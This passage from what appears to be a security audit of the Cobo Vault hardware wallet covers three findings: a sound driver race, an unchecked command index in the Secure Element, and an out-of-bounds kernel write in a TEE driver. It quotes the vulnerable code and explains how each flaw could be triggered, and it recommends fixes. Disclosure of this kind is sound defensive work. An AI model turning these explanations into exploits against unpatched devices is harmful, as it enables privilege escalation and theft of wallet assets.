3879        bool active;

3881        raw_spin_lock(&ctx->lock);
```

Listing 3.54: kernel/event/core.c

Recommendation Apply this patch [35].

3.17   Denial-of-Service Loophole in Sound Driver

- ID: PVE-017
- Severity: Informational
- Likelihood: N/A
- Impact: Low

- Target: sound/core/seq
- Category: Concurrency Issues [25]
- CWE subcategory: CWE-362 [17]

Description

This is a known loophole reported as CVE-2018-1000004 [3].

Recommendation   Apply these two patches [6, 7].

3.18   Use of Out-of-range Pointer Offset in Secure Element

- ID: PVE-018
- Severity: Medium
- Likelihood: Low
- Impact: High

- Target: mason_iap.c
- Category: Pointer Issues [30]
- CWE subcategory: CWE-823 [22]

Description

The Secure Element retrieves data from serial port and interprets them into commands. Specifically, in `mason_execute_cmd()`, the previously pushed command is searched from the stack by `stack_search_CMDNo ()` in line 583. Later on, the index kept by `unCMDNo` is used to jump to the specific command handler in line 591.

language

```
578  void mason_execute_cmd(pstStackType pstStack)
579  {
580      stackElementType pstTLV = NULL;
581      unCMDNoType unCMDNo = {0};

583      stack_search_CMDNo(pstStack, &pstTLV, &unCMDNo);

585      if (unCMDNo.buf[0] > CMD_H_MAX || unCMDNo.buf[1] > CMD_H_MAX)
586      {
587          mason_cmd_invalid((void*)pstStack);
588          return;
589      }

591      gstCmdHandlers[unCMDNo.buf[0]-1][unCMDNo.buf[1]-1].pFunc((void*)pstStack);
```

```
592 }
```

Listing 3.55: mason_commands.c

However, when we look into `stack_search_CMDNo()`, we found that the tag `0x0001` is searched and the caller does not check the return value. This results in the use of out-of-range function pointer against the `gstCmdHandlers` array when the attacker sends a non-0x0001 command through the serial port. The reason is that the default value of `unCMDNo` is set to 0, which makes the malicious command bypasses the checks in line 585 in the code snippets above.

```
425 bool stack_search_CMDNo(pstStackType pstStack, stackElementType *pelement, unCMDNoType *
        punCMDNo)
426 {
427     stackElementType *pstTLV = pelement;

429     if (stack_search_by_tag(pstStack, pstTLV, 0x0001))
430     {
431         memcpy(punCMDNo->buf, (*pstTLV)->pV, (*pstTLV)->L);
432         return true;
433     }

435     return false;
436 }
```

Listing 3.56: mason_commands.c

Recommendation Check the return value of `stack_search_CMDNo()`.

3.19 Out-of-bounds Write in TrustKernel TEE Driver

- ID: PVE-019
- Severity: Critical
- Likelihood: High
- Impact: High

- Target: tee_supp_com.c
- Category: Memory Buffer Errors [29]
- CWE subcategory: CWE-787 [20]

Description

In the `write` handler of the driver bound with /dev/tkcoredrv, `tee_supp_write()` copies `length` of the user-controllable `buffer` into kernel space through `copy_from_user()` (line 215). It means the content of `rpc->commFromUser` could be manipulated by an attacker who `write()` to the device node.

```
209     if (length > 0 && length < sizeof(rpc->commFromUser)) {
210         uint32_t i;
211         unsigned long r;

213         mutex_lock(&rpc->insync);
```

```
215              if (( r = copy_from_user(&rpc->commFromUser, buffer, length))) {
```

Listing 3.57: tee_supp_com.c

However, in line 227, the for-loop retrieves the `type` and `buffer` from the `rpc->commFromUser.cmds[]` array with an unchecked boundary `rpc->commFromUser.nbr_bf`. Specifically, the `buffer` pointer retrieved from `rpc->commFromUser.cmds[i]` (line 229) would be passed into `find_vma()` to find the memory segment, `vma`, which matches the address (line 237). If the `vma` is not `NULL` and `vma->vm_private_data` is not `NULL` as well, `shm->resv.paddr` would be written into `rpc->commFromUser.cmds[i].bufer` in line 254. Since the attacker can craft the `rpc->commFromUser.nbr_bf`, this results in an out-of-bounds write in kernel space, leading to privilege escalation.

```
227              for (i = 0; i < rpc->commFromUser.nbr_bf; i++) {
228                  uint32_t type = rpc->commFromUser.cmds[i].type;
229                  void *buffer = rpc->commFromUser.cmds[i].buffer;

231                  if (type != TEE_RPC_BUFFER || buffer == NULL)
232                      continue;

234                  if (type & TEE_RPC_BUFFER_NONSECURE) {
235                  } else {
236                      struct tee_shm *shm;
237                      struct vm_area_struct *vma = find_vma(current->mm, (unsigned long)
                             buffer);

239                      if (vma == NULL)
240                          continue;

242                      shm = vma->vm_private_data;

244                      if (shm == NULL) {
245                          pr_err("Invalid vma->vm_private_data [%s:%d:%d]\n", current->comm,
                                 current->tgid, current->pid);

247                          rpc->res = -EINVAL;
248                          mutex_unlock(&rpc->insync);
249                          up(&rpc->datafromuser);

251                          ret = -EINVAL;
252                          goto out;
253                      }
254                      rpc->commFromUser.cmds[i].buffer = (void *) (unsigned long) shm->resv.
                             paddr;
```

Listing 3.58: tee_supp_com.c

Recommendation Validate the `rpc->commFromUser.nbr_bf` from user-space. Also, fix the sanity checks in line 209 (i.e., the `length` == sizeof(rpc->commFromUser) case). Otherwise, the `write()` operation would always fail when user wants to write TEE_RPC_BUFFER_NUMBER (5) `cmds` into the driver.

4 | Conclusion

In this audit, we thoroughly analyzed the Cobo Vault documentation and implementation. The audited system does involve various intricacies in both design and implementation. The current code base is well organized and those identified issues are promptly confirmed and fixed.

We emphasize that using a hardware wallet alone does not make you invincible against social engineering, physical threats or human errors. As always, users need to use common sense, and apply basic security principles to protect their valuable assets.

References

[1] Android. Android keystore system. https://developer.android.com/training/articles/keystore.

[2] Martijn Coenen. UPSTREAM: ANDROID: binder: remove waitqueue when thread exits. https://android-review.googlesource.com/c/kernel/common/+/609966.

[3] CVE Details. CVE-2018-1000004. https://www.cvedetails.com/cve/CVE-2018-1000004/.

[4] gofuzz. gofuzz. https://github.com/dvyukov/go-fuzz.

[5] Greg Hackmann. staging: android: ion: fix ION_IOC_{MAP,SHARE} use-after-free. https://android.googlesource.com/kernel/common/+/d82ad70e8aff4435baf4f5fe1abe54870a13436a.

[6] Takashi Iwai. ALSA: seq: Don't allow resizing pool in use. https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?h=linux-3.18.y&id=6eebd4d9336326afbc7c3e325ee14c85a2651a6a.

[7] Takashi Iwai. ALSA: seq: More protection for concurrent write and ioctl races. https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?h=linux-3.18.y&id=3ed4ce9ff89af84aee621d33a34fe4ec6975e0c8.

[8] Lcamtuf. american fuzzy lop. http://lcamtuf.coredump.cx/afl/.

[9] Project Zero Maddie Stone. Bad Binder: Android In-The-Wild Exploit. https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html.

[10] MITRE. CWE-1041: Use of Redundant Code. https://cwe.mitre.org/data/definitions/1041. html.

[11] MITRE. CWE-121: Stack-based Buffer Overflow. https://cwe.mitre.org/data/definitions/121. html.

[12] MITRE. CWE-123: Write-what-where Condition. https://cwe.mitre.org/data/definitions/123. html.

[13] MITRE. CWE-131: Incorrect Calculation of Buffer Size. https://cwe.mitre.org/data/ definitions/131.html.

[14] MITRE. CWE-256: Unprotected Storage of Credentials. https://cwe.mitre.org/data/ definitions/256.html.

[15] MITRE. CWE-288: Authentication Bypass Using an Alternate Path or Channel. https://cwe. mitre.org/data/definitions/288.html.

[16] MITRE. CWE-316: Cleartext Storage of Sensitive Information in Memory. https://cwe.mitre. org/data/definitions/316.html.

[17] MITRE. CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'). https://cwe.mitre.org/data/definitions/362.html.

[18] MITRE. CWE-416: Use After Free. https://cwe.mitre.org/data/definitions/416.html.

[19] MITRE. CWE-617: Reachable Assertion. https://cwe.mitre.org/data/definitions/617.html.

[20] MITRE. CWE-787: Out-of-bounds Write. https://cwe.mitre.org/data/definitions/787.html.

[21] MITRE. CWE-821: Incorrect Synchronization. https://cwe.mitre.org/data/definitions/821. html.

[22] MITRE. CWE-823: Use of Out-of-range Pointer Offset. https://cwe.mitre.org/data/ definitions/823.html.

[23] MITRE. CWE CATEGORY: Bad Coding Practices. https://cwe.mitre.org/data/definitions/ 1006.html.

[24] MITRE. CWE CATEGORY: Business Logic Errors. https://cwe.mitre.org/data/definitions/ 840.html.

[25] MITRE. CWE CATEGORY: Concurrency Issues. https://cwe.mitre.org/data/definitions/557. html.

[26] MITRE. CWE CATEGORY: Credentials Management Errors. https://cwe.mitre.org/data/ definitions/255.html.

[27] MITRE. CWE CATEGORY: Error Conditions, Return Values, Status Codes. https://cwe.mitre. org/data/definitions/389.html.

[28] MITRE. CWE CATEGORY: Information Management Errors. https://cwe.mitre.org/data/ definitions/199.html.

[29] MITRE. CWE CATEGORY: Memory Buffer Errors. https://cwe.mitre.org/data/definitions/ 1218.html.

[30] MITRE. CWE CATEGORY: Pointer Issues. https://cwe.mitre.org/data/definitions/465.html.

[31] MITRE. CWE VIEW: Development Concepts. https://cwe.mitre.org/data/definitions/699. html.

[32] OWASP. Risk Rating Methodology. https://www.owasp.org/index.php/OWASP_Risk_ Rating_Methodology.

[33] PeckShield. PeckShield Inc. https://www.peckshield.com.

[34] Dmitry Vyukov. deadlock in perf_ioctl. https://groups.google.com/forum/#!msg/syzkaller/ pOiDJIU5zI4/UXIsO9BrDwAJ.

[35] Peter Zijlstra. perf: Fix PERF_EVENT_IOC_PERIOD deadlock. https://git.kernel.
org/pub/scm/linux/kernel/git/stable/linux.git/commit/kernel/events?h=linux-3.18.y&id=
73c72ba64cbf2e69485de132a71b0dd175a01637.